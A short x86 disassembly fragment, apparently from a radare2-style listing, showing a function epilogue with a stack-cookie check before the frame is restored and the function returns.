call fcn.004011f0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e0a0
mov esp, ebp
pop ebp
ret